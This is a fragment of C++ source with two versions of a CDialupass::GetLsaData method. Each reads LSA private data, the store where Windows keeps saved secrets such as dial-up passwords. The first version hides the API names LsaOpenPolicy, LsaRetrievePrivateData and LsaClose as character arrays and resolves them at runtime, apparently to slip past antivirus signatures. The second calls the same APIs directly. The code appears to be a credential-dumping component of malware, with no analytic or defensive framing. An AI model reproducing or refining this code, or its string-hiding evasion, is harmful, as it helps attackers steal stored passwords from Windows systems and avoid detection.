PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName) { LSA_OBJECT_ATTRIBUTES LsaObjectAttribs; LSA_HANDLE LsaHandle; LSA_UNICODE_STRING LsaKeyName; NTSTATUS nts; PLSA_UNICODE_STRING OutData; ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs)); char HrFvD04[] = {'L','s','a','O','p','e','n','P','o','l','i','c','y','\0'}; LsaOpenPolicyT pLsaOpenPolicy=(LsaOpenPolicyT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD04); nts=pLsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle); if(nts!=0)return NULL; AnsiStringToLsaStr(KeyName, &LsaKeyName); char HrFvD03[] = {'L','s','a','R','e','t','r','i','e','v','e','P','r','i','v','a','t','e','D','a','t','a','\0'}; LsaRetrievePrivateDataT pLsaRetrievePrivateData=(LsaRetrievePrivateDataT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD03); nts=pLsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData); if(nts!=0)return NULL; char HrFvD02[] = {'L','s','a','C','l','o','s','e','\0'}; LsaCloseT pLsaClose=(LsaCloseT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD02); nts=pLsaClose(LsaHandle); if(nts!=0)return NULL; return OutData; }
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName) { LSA_OBJECT_ATTRIBUTES LsaObjectAttribs; LSA_HANDLE LsaHandle; LSA_UNICODE_STRING LsaKeyName; NTSTATUS nts; PLSA_UNICODE_STRING OutData; ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs)); nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle); if(nts!=0)return NULL; AnsiStringToLsaStr(KeyName, &LsaKeyName); nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData); if(nts!=0)return NULL; nts=LsaClose(LsaHandle); if(nts!=0)return NULL; return OutData; }